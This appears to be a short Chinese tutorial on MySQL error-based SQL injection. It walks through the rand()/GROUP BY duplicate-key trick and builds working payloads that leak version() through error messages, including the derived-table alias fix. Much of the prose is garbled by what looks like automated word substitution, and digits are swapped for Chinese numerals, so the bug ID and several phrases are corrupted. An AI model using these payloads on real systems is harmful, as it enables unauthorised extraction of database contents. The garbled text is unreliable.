MYSQL初级爆错注入原理 国内只需1大堆初级爆错的独霸代码?没人剖析缘由?这个是辞官网查质料后剖析给出的。

这里主要用了mysql的1个BUG :http://bugs.mysql.com/bug.php?id=八65二

grouping on certain parts of the result from rand, causes a duplicate key error.

重现历程

Default
1二345 use mysql;create table r1 (a int); insert into r1 values (1),(二),(1),(二),(1),(二),(1),(二),(1),(二),(1),(二),(1),(二);select left(rand(),3),a from r1 group by 1;select left(rand(),3),a, count(*) from r1 group by 1;select round(rand(1),1)  ,a, count(*) from r1 group by 1;

是以便可以多么拿来爆错注入了。

Default
1 select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x;

尝试拿来实战?

Default
1 select * from user where user='root' and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);

提示过失 决意的列理应为1个。那么。咱们换1下

Default
1 select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));

Default
1 1二4八 (4二000): Every derived table must have its own alias

提示多表盘问要有又名 那好办

Default
1 select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);

或者

Default
1 select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);

战败爆粗注入了

91ri.org:个人认为这篇:《双盘问注入》中关于mysql爆错注入介绍的更加具体,保举1下。
